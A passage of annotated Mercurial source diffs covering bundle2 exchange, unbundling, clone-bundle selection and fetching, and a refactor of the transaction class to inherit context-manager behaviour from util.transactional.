1622 1622 # build changegroup bundle here.
1623 1623 version = '01'
1624 1624 cgversions = b2caps.get('changegroup')
1625 1625 if cgversions: # 3.1 and 3.2 ship with an empty value
1626 1626 cgversions = [v for v in cgversions
1627 1627 if v in changegroup.supportedoutgoingversions(repo)]
1628 1628 if not cgversions:
1629 1629 raise ValueError(_('no common changegroup version'))
1630 1630 version = max(cgversions)
1631 1631 outgoing = _computeoutgoing(repo, heads, common)
1632 1632 cg = changegroup.getlocalchangegroupraw(repo, source, outgoing,
1633 1633 bundlecaps=bundlecaps,
1634 1634 version=version)
1635 1635
1636 1636 if cg:
1637 1637 part = bundler.newpart('changegroup', data=cg)
1638 1638 if cgversions:
1639 1639 part.addparam('version', version)
1640 1640 part.addparam('nbchanges', str(len(outgoing.missing)), mandatory=False)
1641 1641 if 'treemanifest' in repo.requirements:
1642 1642 part.addparam('treemanifest', '1')
1643 1643
1644 1644 @getbundle2partsgenerator('listkeys')
1645 1645 def _getbundlelistkeysparts(bundler, repo, source, bundlecaps=None,
1646 1646 b2caps=None, **kwargs):
1647 1647 """add parts containing listkeys namespaces to the requested bundle"""
1648 1648 listkeys = kwargs.get('listkeys', ())
1649 1649 for namespace in listkeys:
1650 1650 part = bundler.newpart('listkeys')
1651 1651 part.addparam('namespace', namespace)
1652 1652 keys = repo.listkeys(namespace).items()
1653 1653 part.data = pushkey.encodekeys(keys)
1654 1654
1655 1655 @getbundle2partsgenerator('obsmarkers')
1656 1656 def _getbundleobsmarkerpart(bundler, repo, source, bundlecaps=None,
1657 1657 b2caps=None, heads=None, **kwargs):
1658 1658 """add an obsolescence markers part to the requested bundle"""
1659 1659 if kwargs.get('obsmarkers', False):
1660 1660 if heads is None:
1661 1661 heads = repo.heads()
1662 1662 subset = [c.node() for c in repo.set('::%ln', heads)]
1663 1663 markers = repo.obsstore.relevantmarkers(subset)
1664 1664 markers = sorted(markers)
1665 1665 bundle2.buildobsmarkerspart(bundler, markers)
1666 1666
1667 1667 @getbundle2partsgenerator('hgtagsfnodes')
1668 1668 def _getbundletagsfnodes(bundler, repo, source, bundlecaps=None,
1669 1669 b2caps=None, heads=None, common=None,
1670 1670 **kwargs):
1671 1671 """Transfer the .hgtags filenodes mapping.
1672 1672
1673 1673 Only values for heads in this bundle will be transferred.
1674 1674
1675 1675 The part data consists of pairs of 20 byte changeset node and .hgtags
1676 1676 filenodes raw values.
1677 1677 """
1678 1678 # Don't send unless:
1679 1679 # - changeset are being exchanged,
1680 1680 # - the client supports it.
1681 1681 if not (kwargs.get('cg', True) and 'hgtagsfnodes' in b2caps):
1682 1682 return
1683 1683
1684 1684 outgoing = _computeoutgoing(repo, heads, common)
1685 1685 bundle2.addparttagsfnodescache(repo, bundler, outgoing)
1686 1686
1687 1687 def _getbookmarks(repo, **kwargs):
1688 1688 """Returns bookmark to node mapping.
1689 1689
1690 1690 This function is primarily used to generate `bookmarks` bundle2 part.
1691 1691 It is a separate function in order to make it easy to wrap it
1692 1692 in extensions. Passing `kwargs` to the function makes it easy to
1693 1693 add new parameters in extensions.
1694 1694 """
1695 1695
1696 1696 return dict(bookmod.listbinbookmarks(repo))
1697 1697
1698 1698 def check_heads(repo, their_heads, context):
1699 1699 """check if the heads of a repo have been modified
1700 1700
1701 1701 Used by peer for unbundling.
1702 1702 """
1703 1703 heads = repo.heads()
1704 1704 heads_hash = hashlib.sha1(''.join(sorted(heads))).digest()
1705 1705 if not (their_heads == ['force'] or their_heads == heads or
1706 1706 their_heads == ['hashed', heads_hash]):
1707 1707 # someone else committed/pushed/unbundled while we
1708 1708 # were transferring data
1709 1709 raise error.PushRaced('repository changed while %s - '
1710 1710 'please try again' % context)
1711 1711
1712 1712 def unbundle(repo, cg, heads, source, url):
1713 1713 """Apply a bundle to a repo.
1714 1714
1715 1715 this function makes sure the repo is locked during the application and have
1716 1716 mechanism to check that no push race occurred between the creation of the
1717 1717 bundle and its application.
1718 1718
1719 1719 If the push was raced as PushRaced exception is raised."""
1720 1720 r = 0
1721 1721 # need a transaction when processing a bundle2 stream
1722 1722 # [wlock, lock, tr] - needs to be an array so nested functions can modify it
1723 1723 lockandtr = [None, None, None]
1724 1724 recordout = None
1725 1725 # quick fix for output mismatch with bundle2 in 3.4
1726 1726 captureoutput = repo.ui.configbool('experimental', 'bundle2-output-capture')
1727 1727 if url.startswith('remote:http:') or url.startswith('remote:https:'):
1728 1728 captureoutput = True
1729 1729 try:
1730 1730 # note: outside bundle1, 'heads' is expected to be empty and this
1731 1731 # 'check_heads' call wil be a no-op
1732 1732 check_heads(repo, heads, 'uploading changes')
1733 1733 # push can proceed
1734 1734 if not isinstance(cg, bundle2.unbundle20):
1735 1735 # legacy case: bundle1 (changegroup 01)
1736 1736 txnname = "\n".join([source, util.hidepassword(url)])
1737 1737 with repo.lock(), repo.transaction(txnname) as tr:
1738 1738 op = bundle2.applybundle(repo, cg, tr, source, url)
1739 1739 r = bundle2.combinechangegroupresults(op)
1740 1740 else:
1741 1741 r = None
1742 1742 try:
1743 1743 def gettransaction():
1744 1744 if not lockandtr[2]:
1745 1745 lockandtr[0] = repo.wlock()
1746 1746 lockandtr[1] = repo.lock()
1747 1747 lockandtr[2] = repo.transaction(source)
1748 1748 lockandtr[2].hookargs['source'] = source
1749 1749 lockandtr[2].hookargs['url'] = url
1750 1750 lockandtr[2].hookargs['bundle2'] = '1'
1751 1751 return lockandtr[2]
1752 1752
1753 1753 # Do greedy locking by default until we're satisfied with lazy
1754 1754 # locking.
1755 1755 if not repo.ui.configbool('experimental', 'bundle2lazylocking'):
1756 1756 gettransaction()
1757 1757
1758 1758 op = bundle2.bundleoperation(repo, gettransaction,
1759 1759 captureoutput=captureoutput)
1760 1760 try:
1761 1761 op = bundle2.processbundle(repo, cg, op=op)
1762 1762 finally:
1763 1763 r = op.reply
1764 1764 if captureoutput and r is not None:
1765 1765 repo.ui.pushbuffer(error=True, subproc=True)
1766 1766 def recordout(output):
1767 1767 r.newpart('output', data=output, mandatory=False)
1768 1768 if lockandtr[2] is not None:
1769 1769 lockandtr[2].close()
1770 1770 except BaseException as exc:
1771 1771 exc.duringunbundle2 = True
1772 1772 if captureoutput and r is not None:
1773 1773 parts = exc._bundle2salvagedoutput = r.salvageoutput()
1774 1774 def recordout(output):
1775 1775 part = bundle2.bundlepart('output', data=output,
1776 1776 mandatory=False)
1777 1777 parts.append(part)
1778 1778 raise
1779 1779 finally:
1780 1780 lockmod.release(lockandtr[2], lockandtr[1], lockandtr[0])
1781 1781 if recordout is not None:
1782 1782 recordout(repo.ui.popbuffer())
1783 1783 return r
1784 1784
1785 1785 def _maybeapplyclonebundle(pullop):
1786 1786 """Apply a clone bundle from a remote, if possible."""
1787 1787
1788 1788 repo = pullop.repo
1789 1789 remote = pullop.remote
1790 1790
1791 1791 if not repo.ui.configbool('ui', 'clonebundles'):
1792 1792 return
1793 1793
1794 1794 # Only run if local repo is empty.
1795 1795 if len(repo):
1796 1796 return
1797 1797
1798 1798 if pullop.heads:
1799 1799 return
1800 1800
1801 1801 if not remote.capable('clonebundles'):
1802 1802 return
1803 1803
1804 1804 res = remote._call('clonebundles')
1805 1805
1806 1806 # If we call the wire protocol command, that's good enough to record the
1807 1807 # attempt.
1808 1808 pullop.clonebundleattempted = True
1809 1809
1810 1810 entries = parseclonebundlesmanifest(repo, res)
1811 1811 if not entries:
1812 1812 repo.ui.note(_('no clone bundles available on remote; '
1813 1813 'falling back to regular clone\n'))
1814 1814 return
1815 1815
1816 1816 entries = filterclonebundleentries(repo, entries)
1817 1817 if not entries:
1818 1818 # There is a thundering herd concern here. However, if a server
1819 1819 # operator doesn't advertise bundles appropriate for its clients,
1820 1820 # they deserve what's coming. Furthermore, from a client's
1821 1821 # perspective, no automatic fallback would mean not being able to
1822 1822 # clone!
1823 1823 repo.ui.warn(_('no compatible clone bundles available on server; '
1824 1824 'falling back to regular clone\n'))
1825 1825 repo.ui.warn(_('(you may want to report this to the server '
1826 1826 'operator)\n'))
1827 1827 return
1828 1828
1829 1829 entries = sortclonebundleentries(repo.ui, entries)
1830 1830
1831 1831 url = entries[0]['URL']
1832 1832 repo.ui.status(_('applying clone bundle from %s\n') % url)
1833 1833 if trypullbundlefromurl(repo.ui, repo, url):
1834 1834 repo.ui.status(_('finished applying clone bundle\n'))
1835 1835 # Bundle failed.
1836 1836 #
1837 1837 # We abort by default to avoid the thundering herd of
1838 1838 # clients flooding a server that was expecting expensive
1839 1839 # clone load to be offloaded.
1840 1840 elif repo.ui.configbool('ui', 'clonebundlefallback'):
1841 1841 repo.ui.warn(_('falling back to normal clone\n'))
1842 1842 else:
1843 1843 raise error.Abort(_('error applying bundle'),
1844 1844 hint=_('if this error persists, consider contacting '
1845 1845 'the server operator or disable clone '
1846 1846 'bundles via '
1847 1847 '"--config ui.clonebundles=false"'))
1848 1848
1849 1849 def parseclonebundlesmanifest(repo, s):
1850 1850 """Parses the raw text of a clone bundles manifest.
1851 1851
1852 1852 Returns a list of dicts. The dicts have a ``URL`` key corresponding
1853 1853 to the URL and other keys are the attributes for the entry.
1854 1854 """
1855 1855 m = []
1856 1856 for line in s.splitlines():
1857 1857 fields = line.split()
1858 1858 if not fields:
1859 1859 continue
1860 1860 attrs = {'URL': fields[0]}
1861 1861 for rawattr in fields[1:]:
1862 1862 key, value = rawattr.split('=', 1)
1863 1863 key = urlreq.unquote(key)
1864 1864 value = urlreq.unquote(value)
1865 1865 attrs[key] = value
1866 1866
1867 1867 # Parse BUNDLESPEC into components. This makes client-side
1868 1868 # preferences easier to specify since you can prefer a single
1869 1869 # component of the BUNDLESPEC.
1870 1870 if key == 'BUNDLESPEC':
1871 1871 try:
1872 1872 comp, version, params = parsebundlespec(repo, value,
1873 1873 externalnames=True)
1874 1874 attrs['COMPRESSION'] = comp
1875 1875 attrs['VERSION'] = version
1876 1876 except error.InvalidBundleSpecification:
1877 1877 pass
1878 1878 except error.UnsupportedBundleSpecification:
1879 1879 pass
1880 1880
1881 1881 m.append(attrs)
1882 1882
1883 1883 return m
1884 1884
1885 1885 def filterclonebundleentries(repo, entries):
1886 1886 """Remove incompatible clone bundle manifest entries.
1887 1887
1888 1888 Accepts a list of entries parsed with ``parseclonebundlesmanifest``
1889 1889 and returns a new list consisting of only the entries that this client
1890 1890 should be able to apply.
1891 1891
1892 1892 There is no guarantee we'll be able to apply all returned entries because
1893 1893 the metadata we use to filter on may be missing or wrong.
1894 1894 """
1895 1895 newentries = []
1896 1896 for entry in entries:
1897 1897 spec = entry.get('BUNDLESPEC')
1898 1898 if spec:
1899 1899 try:
1900 1900 parsebundlespec(repo, spec, strict=True)
1901 1901 except error.InvalidBundleSpecification as e:
1902 1902 repo.ui.debug(str(e) + '\n')
1903 1903 continue
1904 1904 except error.UnsupportedBundleSpecification as e:
1905 1905 repo.ui.debug('filtering %s because unsupported bundle '
1906 1906 'spec: %s\n' % (entry['URL'], str(e)))
1907 1907 continue
1908 1908
1909 1909 if 'REQUIRESNI' in entry and not sslutil.hassni:
1910 1910 repo.ui.debug('filtering %s because SNI not supported\n' %
1911 1911 entry['URL'])
1912 1912 continue
1913 1913
1914 1914 newentries.append(entry)
1915 1915
1916 1916 return newentries
1917 1917
1918 1918 class clonebundleentry(object):
1919 1919 """Represents an item in a clone bundles manifest.
1920 1920
1921 1921 This rich class is needed to support sorting since sorted() in Python 3
1922 1922 doesn't support ``cmp`` and our comparison is complex enough that ``key=``
1923 1923 won't work.
1924 1924 """
1925 1925
1926 1926 def __init__(self, value, prefers):
1927 1927 self.value = value
1928 1928 self.prefers = prefers
1929 1929
1930 1930 def _cmp(self, other):
1931 1931 for prefkey, prefvalue in self.prefers:
1932 1932 avalue = self.value.get(prefkey)
1933 1933 bvalue = other.value.get(prefkey)
1934 1934
1935 1935 # Special case for b missing attribute and a matches exactly.
1936 1936 if avalue is not None and bvalue is None and avalue == prefvalue:
1937 1937 return -1
1938 1938
1939 1939 # Special case for a missing attribute and b matches exactly.
1940 1940 if bvalue is not None and avalue is None and bvalue == prefvalue:
1941 1941 return 1
1942 1942
1943 1943 # We can't compare unless attribute present on both.
1944 1944 if avalue is None or bvalue is None:
1945 1945 continue
1946 1946
1947 1947 # Same values should fall back to next attribute.
1948 1948 if avalue == bvalue:
1949 1949 continue
1950 1950
1951 1951 # Exact matches come first.
1952 1952 if avalue == prefvalue:
1953 1953 return -1
1954 1954 if bvalue == prefvalue:
1955 1955 return 1
1956 1956
1957 1957 # Fall back to next attribute.
1958 1958 continue
1959 1959
1960 1960 # If we got here we couldn't sort by attributes and prefers. Fall
1961 1961 # back to index order.
1962 1962 return 0
1963 1963
1964 1964 def __lt__(self, other):
1965 1965 return self._cmp(other) < 0
1966 1966
1967 1967 def __gt__(self, other):
1968 1968 return self._cmp(other) > 0
1969 1969
1970 1970 def __eq__(self, other):
1971 1971 return self._cmp(other) == 0
1972 1972
1973 1973 def __le__(self, other):
1974 1974 return self._cmp(other) <= 0
1975 1975
1976 1976 def __ge__(self, other):
1977 1977 return self._cmp(other) >= 0
1978 1978
1979 1979 def __ne__(self, other):
1980 1980 return self._cmp(other) != 0
1981 1981
1982 1982 def sortclonebundleentries(ui, entries):
1983 1983 prefers = ui.configlist('ui', 'clonebundleprefers')
1984 1984 if not prefers:
1985 1985 return list(entries)
1986 1986
1987 1987 prefers = [p.split('=', 1) for p in prefers]
1988 1988
1989 1989 items = sorted(clonebundleentry(v, prefers) for v in entries)
1990 1990 return [i.value for i in items]
1991 1991
1992 1992 def trypullbundlefromurl(ui, repo, url):
1993 1993 """Attempt to apply a bundle from a URL."""
1994 1994 with repo.lock(), repo.transaction('bundleurl') as tr:
1995 1995 try:
1996 1996 fh = urlmod.open(ui, url)
1997 1997 cg = readbundle(ui, fh, 'stream')
1998 1998
1999 1999 if isinstance(cg, streamclone.streamcloneapplier):
2000 2000 cg.apply(repo)
2001 2001 else:
2002 2002 bundle2.applybundle(repo, cg, tr, 'clonebundles', url)
2003 2003 return True
2004 2004 except urlerr.httperror as e:
2005 2005 ui.warn(_('HTTP error fetching bundle: %s\n') % str(e))
2006 2006 except urlerr.urlerror as e:
2007 2007 ui.warn(_('error fetching bundle: %s\n') % e.reason)
2008 2008
2009 2009 return False
@@ -1,637 +1,627 b''
1 1 # transaction.py - simple journaling scheme for mercurial
2 2 #
3 3 # This transaction scheme is intended to gracefully handle program
4 4 # errors and interruptions. More serious failures like system crashes
5 5 # can be recovered with an fsck-like tool. As the whole repository is
6 6 # effectively log-structured, this should amount to simply truncating
7 7 # anything that isn't referenced in the changelog.
8 8 #
9 9 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
10 10 #
11 11 # This software may be used and distributed according to the terms of the
12 12 # GNU General Public License version 2 or any later version.
13 13
14 14 from __future__ import absolute_import
15 15
16 16 import errno
17 17
18 18 from .i18n import _
19 19 from . import (
20 20 error,
21 21 util,
22 22 )
23 23
24 24 version = 2
25 25
26 26 # These are the file generators that should only be executed after the
27 27 # finalizers are done, since they rely on the output of the finalizers (like
28 28 # the changelog having been written).
29 29 postfinalizegenerators = {
30 30 'bookmarks',
31 31 'dirstate'
32 32 }
33 33
34 34 gengroupall='all'
35 35 gengroupprefinalize='prefinalize'
36 36 gengrouppostfinalize='postfinalize'
37 37
38 38 def active(func):
39 39 def _active(self, *args, **kwds):
40 40 if self.count == 0:
41 41 raise error.Abort(_(
42 42 'cannot use transaction when it is already committed/aborted'))
43 43 return func(self, *args, **kwds)
44 44 return _active
45 45
46 46 def _playback(journal, report, opener, vfsmap, entries, backupentries,
47 47 unlink=True, checkambigfiles=None):
48 48 for f, o, _ignore in entries:
49 49 if o or not unlink:
50 50 checkambig = checkambigfiles and (f, '') in checkambigfiles
51 51 try:
52 52 fp = opener(f, 'a', checkambig=checkambig)
53 53 fp.truncate(o)
54 54 fp.close()
55 55 except IOError:
56 56 report(_("failed to truncate %s\n") % f)
57 57 raise
58 58 else:
59 59 try:
60 60 opener.unlink(f)
61 61 except (IOError, OSError) as inst:
62 62 if inst.errno != errno.ENOENT:
63 63 raise
64 64
65 65 backupfiles = []
66 66 for l, f, b, c in backupentries:
67 67 if l not in vfsmap and c:
68 68 report("couldn't handle %s: unknown cache location %s\n"
69 69 % (b, l))
70 70 vfs = vfsmap[l]
71 71 try:
72 72 if f and b:
73 73 filepath = vfs.join(f)
74 74 backuppath = vfs.join(b)
75 75 checkambig = checkambigfiles and (f, l) in checkambigfiles
76 76 try:
77 77 util.copyfile(backuppath, filepath, checkambig=checkambig)
78 78 backupfiles.append(b)
79 79 except IOError:
80 80 report(_("failed to recover %s\n") % f)
81 81 else:
82 82 target = f or b
83 83 try:
84 84 vfs.unlink(target)
85 85 except (IOError, OSError) as inst:
86 86 if inst.errno != errno.ENOENT:
87 87 raise
88 88 except (IOError, OSError, error.Abort) as inst:
89 89 if not c:
90 90 raise
91 91
92 92 backuppath = "%s.backupfiles" % journal
93 93 if opener.exists(backuppath):
94 94 opener.unlink(backuppath)
95 95 opener.unlink(journal)
96 96 try:
97 97 for f in backupfiles:
98 98 if opener.exists(f):
99 99 opener.unlink(f)
100 100 except (IOError, OSError, error.Abort) as inst:
101 101 # only pure backup file remains, it is sage to ignore any error
102 102 pass
103 103
104 class transaction(object):
104 class transaction(util.transactional):
105 105 def __init__(self, report, opener, vfsmap, journalname, undoname=None,
106 106 after=None, createmode=None, validator=None, releasefn=None,
107 107 checkambigfiles=None):
108 108 """Begin a new transaction
109 109
110 110 Begins a new transaction that allows rolling back writes in the event of
111 111 an exception.
112 112
113 113 * `after`: called after the transaction has been committed
114 114 * `createmode`: the mode of the journal file that will be created
115 115 * `releasefn`: called after releasing (with transaction and result)
116 116
117 117 `checkambigfiles` is a set of (path, vfs-location) tuples,
118 118 which determine whether file stat ambiguity should be avoided
119 119 for corresponded files.
120 120 """
121 121 self.count = 1
122 122 self.usages = 1
123 123 self.report = report
124 124 # a vfs to the store content
125 125 self.opener = opener
126 126 # a map to access file in various {location -> vfs}
127 127 vfsmap = vfsmap.copy()
128 128 vfsmap[''] = opener # set default value
129 129 self._vfsmap = vfsmap
130 130 self.after = after
131 131 self.entries = []
132 132 self.map = {}
133 133 self.journal = journalname
134 134 self.undoname = undoname
135 135 self._queue = []
136 136 # A callback to validate transaction content before closing it.
137 137 # should raise exception is anything is wrong.
138 138 # target user is repository hooks.
139 139 if validator is None:
140 140 validator = lambda tr: None
141 141 self.validator = validator
142 142 # A callback to do something just after releasing transaction.
143 143 if releasefn is None:
144 144 releasefn = lambda tr, success: None
145 145 self.releasefn = releasefn
146 146
147 147 self.checkambigfiles = set()
148 148 if checkambigfiles:
149 149 self.checkambigfiles.update(checkambigfiles)
150 150
151 151 # A dict dedicated to precisely tracking the changes introduced in the
152 152 # transaction.
153 153 self.changes = {}
154 154
155 155 # a dict of arguments to be passed to hooks
156 156 self.hookargs = {}
157 157 self.file = opener.open(self.journal, "w")
158 158
159 159 # a list of ('location', 'path', 'backuppath', cache) entries.
160 160 # - if 'backuppath' is empty, no file existed at backup time
161 161 # - if 'path' is empty, this is a temporary transaction file
162 162 # - if 'location' is not empty, the path is outside main opener reach.
163 163 # use 'location' value as a key in a vfsmap to find the right 'vfs'
164 164 # (cache is currently unused)
165 165 self._backupentries = []
166 166 self._backupmap = {}
167 167 self._backupjournal = "%s.backupfiles" % self.journal
168 168 self._backupsfile = opener.open(self._backupjournal, 'w')
169 169 self._backupsfile.write('%d\n' % version)
170 170
171 171 if createmode is not None:
172 172 opener.chmod(self.journal, createmode & 0o666)
173 173 opener.chmod(self._backupjournal, createmode & 0o666)
174 174
175 175 # hold file generations to be performed on commit
176 176 self._filegenerators = {}
177 177 # hold callback to write pending data for hooks
178 178 self._pendingcallback = {}
179 179 # True is any pending data have been written ever
180 180 self._anypending = False
181 181 # holds callback to call when writing the transaction
182 182 self._finalizecallback = {}
183 183 # hold callback for post transaction close
184 184 self._postclosecallback = {}
185 185 # holds callbacks to call during abort
186 186 self._abortcallback = {}
187 187
188 188 def __del__(self):
189 189 if self.journal:
190 190 self._abort()
191 191
192 192 @active
193 193 def startgroup(self):
194 194 """delay registration of file entry
195 195
196 196 This is used by strip to delay vision of strip offset. The transaction
197 197 sees either none or all of the strip actions to be done."""
198 198 self._queue.append([])
199 199
200 200 @active
201 201 def endgroup(self):
202 202 """apply delayed registration of file entry.
203 203
204 204 This is used by strip to delay vision of strip offset. The transaction
205 205 sees either none or all of the strip actions to be done."""
206 206 q = self._queue.pop()
207 207 for f, o, data in q:
208 208 self._addentry(f, o, data)
209 209
210 210 @active
211 211 def add(self, file, offset, data=None):
212 212 """record the state of an append-only file before update"""
213 213 if file in self.map or file in self._backupmap:
214 214 return
215 215 if self._queue:
216 216 self._queue[-1].append((file, offset, data))
217 217 return
218 218
219 219 self._addentry(file, offset, data)
220 220
221 221 def _addentry(self, file, offset, data):
222 222 """add a append-only entry to memory and on-disk state"""
223 223 if file in self.map or file in self._backupmap:
224 224 return
225 225 self.entries.append((file, offset, data))
226 226 self.map[file] = len(self.entries) - 1
227 227 # add enough data to the journal to do the truncate
228 228 self.file.write("%s\0%d\n" % (file, offset))
229 229 self.file.flush()
230 230
231 231 @active
232 232 def addbackup(self, file, hardlink=True, location=''):
233 233 """Adds a backup of the file to the transaction
234 234
235 235 Calling addbackup() creates a hardlink backup of the specified file
236 236 that is used to recover the file in the event of the transaction
237 237 aborting.
238 238
239 239 * `file`: the file path, relative to .hg/store
240 240 * `hardlink`: use a hardlink to quickly create the backup
241 241 """
242 242 if self._queue:
243 243 msg = 'cannot use transaction.addbackup inside "group"'
244 244 raise error.ProgrammingError(msg)
245 245
246 246 if file in self.map or file in self._backupmap:
247 247 return
248 248 vfs = self._vfsmap[location]
249 249 dirname, filename = vfs.split(file)
250 250 backupfilename = "%s.backup.%s" % (self.journal, filename)
251 251 backupfile = vfs.reljoin(dirname, backupfilename)
252 252 if vfs.exists(file):
253 253 filepath = vfs.join(file)
254 254 backuppath = vfs.join(backupfile)
255 255 util.copyfile(filepath, backuppath, hardlink=hardlink)
256 256 else:
257 257 backupfile = ''
258 258
259 259 self._addbackupentry((location, file, backupfile, False))
260 260
261 261 def _addbackupentry(self, entry):
262 262 """register a new backup entry and write it to disk"""
263 263 self._backupentries.append(entry)
264 264 self._backupmap[entry[1]] = len(self._backupentries) - 1
265 265 self._backupsfile.write("%s\0%s\0%s\0%d\n" % entry)
266 266 self._backupsfile.flush()
267 267
268 268 @active
269 269 def registertmp(self, tmpfile, location=''):
270 270 """register a temporary transaction file
271 271
272 272 Such files will be deleted when the transaction exits (on both
273 273 failure and success).
274 274 """
275 275 self._addbackupentry((location, '', tmpfile, False))
276 276
277 277 @active
278 278 def addfilegenerator(self, genid, filenames, genfunc, order=0,
279 279 location=''):
280 280 """add a function to generates some files at transaction commit
281 281
282 282 The `genfunc` argument is a function capable of generating proper
283 283 content of each entry in the `filename` tuple.
284 284
285 285 At transaction close time, `genfunc` will be called with one file
286 286 object argument per entries in `filenames`.
287 287
288 288 The transaction itself is responsible for the backup, creation and
289 289 final write of such file.
290 290
291 291 The `genid` argument is used to ensure the same set of file is only
292 292 generated once. Call to `addfilegenerator` for a `genid` already
293 293 present will overwrite the old entry.
294 294
295 295 The `order` argument may be used to control the order in which multiple
296 296 generator will be executed.
297 297
298 298 The `location` arguments may be used to indicate the files are located
299 299 outside of the the standard directory for transaction. It should match
300 300 one of the key of the `transaction.vfsmap` dictionary.
301 301 """
302 302 # For now, we are unable to do proper backup and restore of custom vfs
303 303 # but for bookmarks that are handled outside this mechanism.
304 304 self._filegenerators[genid] = (order, filenames, genfunc, location)
305 305
306 306 @active
307 307 def removefilegenerator(self, genid):
308 308 """reverse of addfilegenerator, remove a file generator function"""
309 309 if genid in self._filegenerators:
310 310 del self._filegenerators[genid]
311 311
312 312 def _generatefiles(self, suffix='', group=gengroupall):
313 313 # write files registered for generation
314 314 any = False
315 315 for id, entry in sorted(self._filegenerators.iteritems()):
316 316 any = True
317 317 order, filenames, genfunc, location = entry
318 318
319 319 # for generation at closing, check if it's before or after finalize
320 320 postfinalize = group == gengrouppostfinalize
321 321 if (group != gengroupall and
322 322 (id in postfinalizegenerators) != (postfinalize)):
323 323 continue
324 324
325 325 vfs = self._vfsmap[location]
326 326 files = []
327 327 try:
328 328 for name in filenames:
329 329 name += suffix
330 330 if suffix:
331 331 self.registertmp(name, location=location)
332 332 checkambig = False
333 333 else:
334 334 self.addbackup(name, location=location)
335 335 checkambig = (name, location) in self.checkambigfiles
336 336 files.append(vfs(name, 'w', atomictemp=True,
337 337 checkambig=checkambig))
338 338 genfunc(*files)
339 339 finally:
340 340 for f in files:
341 341 f.close()
342 342 return any
343 343
344 344 @active
345 345 def find(self, file):
346 346 if file in self.map:
347 347 return self.entries[self.map[file]]
348 348 if file in self._backupmap:
349 349 return self._backupentries[self._backupmap[file]]
350 350 return None
351 351
352 352 @active
353 353 def replace(self, file, offset, data=None):
354 354 '''
355 355 replace can only replace already committed entries
356 356 that are not pending in the queue
357 357 '''
358 358
359 359 if file not in self.map:
360 360 raise KeyError(file)
361 361 index = self.map[file]
362 362 self.entries[index] = (file, offset, data)
363 363 self.file.write("%s\0%d\n" % (file, offset))
364 364 self.file.flush()
365 365
366 366 @active
367 367 def nest(self):
368 368 self.count += 1
369 369 self.usages += 1
370 370 return self
371 371
372 372 def release(self):
373 373 if self.count > 0:
374 374 self.usages -= 1
375 375 # if the transaction scopes are left without being closed, fail
376 376 if self.count > 0 and self.usages == 0:
377 377 self._abort()
378 378
379 def __enter__(self):
380 return self
381
382 def __exit__(self, exc_type, exc_val, exc_tb):
383 try:
384 if exc_type is None:
385 self.close()
386 finally:
387 self.release()
388
389 379 def running(self):
390 380 return self.count > 0
391 381
392 382 def addpending(self, category, callback):
393 383 """add a callback to be called when the transaction is pending
394 384
395 385 The transaction will be given as callback's first argument.
396 386
397 387 Category is a unique identifier to allow overwriting an old callback
398 388 with a newer callback.
399 389 """
400 390 self._pendingcallback[category] = callback
401 391
402 392 @active
403 393 def writepending(self):
404 394 '''write pending file to temporary version
405 395
406 396 This is used to allow hooks to view a transaction before commit'''
407 397 categories = sorted(self._pendingcallback)
408 398 for cat in categories:
409 399 # remove callback since the data will have been flushed
410 400 any = self._pendingcallback.pop(cat)(self)
411 401 self._anypending = self._anypending or any
412 402 self._anypending |= self._generatefiles(suffix='.pending')
413 403 return self._anypending
414 404
415 405 @active
416 406 def addfinalize(self, category, callback):
417 407 """add a callback to be called when the transaction is closed
418 408
419 409 The transaction will be given as callback's first argument.
420 410
421 411 Category is a unique identifier to allow overwriting old callbacks with
422 412 newer callbacks.
423 413 """
424 414 self._finalizecallback[category] = callback
425 415
426 416 @active
427 417 def addpostclose(self, category, callback):
428 418 """add or replace a callback to be called after the transaction closed
429 419
430 420 The transaction will be given as callback's first argument.
431 421
432 422 Category is a unique identifier to allow overwriting an old callback
433 423 with a newer callback.
434 424 """
435 425 self._postclosecallback[category] = callback
436 426
437 427 @active
438 428 def getpostclose(self, category):
439 429 """return a postclose callback added before, or None"""
440 430 return self._postclosecallback.get(category, None)
441 431
442 432 @active
443 433 def addabort(self, category, callback):
444 434 """add a callback to be called when the transaction is aborted.
445 435
446 436 The transaction will be given as the first argument to the callback.
447 437
448 438 Category is a unique identifier to allow overwriting an old callback
449 439 with a newer callback.
450 440 """
451 441 self._abortcallback[category] = callback
452 442
453 443 @active
454 444 def close(self):
455 445 '''commit the transaction'''
456 446 if self.count == 1:
457 447 self.validator(self) # will raise exception if needed
458 448 self.validator = None # Help prevent cycles.
459 449 self._generatefiles(group=gengroupprefinalize)
460 450 categories = sorted(self._finalizecallback)
461 451 for cat in categories:
462 452 self._finalizecallback[cat](self)
463 453 # Prevent double usage and help clear cycles.
464 454 self._finalizecallback = None
465 455 self._generatefiles(group=gengrouppostfinalize)
466 456
467 457 self.count -= 1
468 458 if self.count != 0:
469 459 return
470 460 self.file.close()
471 461 self._backupsfile.close()
472 462 # cleanup temporary files
473 463 for l, f, b, c in self._backupentries:
474 464 if l not in self._vfsmap and c:
475 465 self.report("couldn't remove %s: unknown cache location %s\n"
476 466 % (b, l))
477 467 continue
478 468 vfs = self._vfsmap[l]
479 469 if not f and b and vfs.exists(b):
480 470 try:
481 471 vfs.unlink(b)
482 472 except (IOError, OSError, error.Abort) as inst:
483 473 if not c:
484 474 raise
485 475 # Abort may be raise by read only opener
486 476 self.report("couldn't remove %s: %s\n"
487 477 % (vfs.join(b), inst))
488 478 self.entries = []
489 479 self._writeundo()
490 480 if self.after:
491 481 self.after()
492 482 self.after = None # Help prevent cycles.
493 483 if self.opener.isfile(self._backupjournal):
494 484 self.opener.unlink(self._backupjournal)
495 485 if self.opener.isfile(self.journal):
496 486 self.opener.unlink(self.journal)
497 487 for l, _f, b, c in self._backupentries:
498 488 if l not in self._vfsmap and c:
499 489 self.report("couldn't remove %s: unknown cache location"
500 490 "%s\n" % (b, l))
501 491 continue
502 492 vfs = self._vfsmap[l]
503 493 if b and vfs.exists(b):
504 494 try:
505 495 vfs.unlink(b)
506 496 except (IOError, OSError, error.Abort) as inst:
507 497 if not c:
508 498 raise
509 499 # Abort may be raise by read only opener
510 500 self.report("couldn't remove %s: %s\n"
511 501 % (vfs.join(b), inst))
512 502 self._backupentries = []
513 503 self.journal = None
514 504
515 505 self.releasefn(self, True) # notify success of closing transaction
516 506 self.releasefn = None # Help prevent cycles.
517 507
518 508 # run post close action
519 509 categories = sorted(self._postclosecallback)
520 510 for cat in categories:
521 511 self._postclosecallback[cat](self)
522 512 # Prevent double usage and help clear cycles.
523 513 self._postclosecallback = None
524 514
525 515 @active
526 516 def abort(self):
527 517 '''abort the transaction (generally called on error, or when the
528 518 transaction is not explicitly committed before going out of
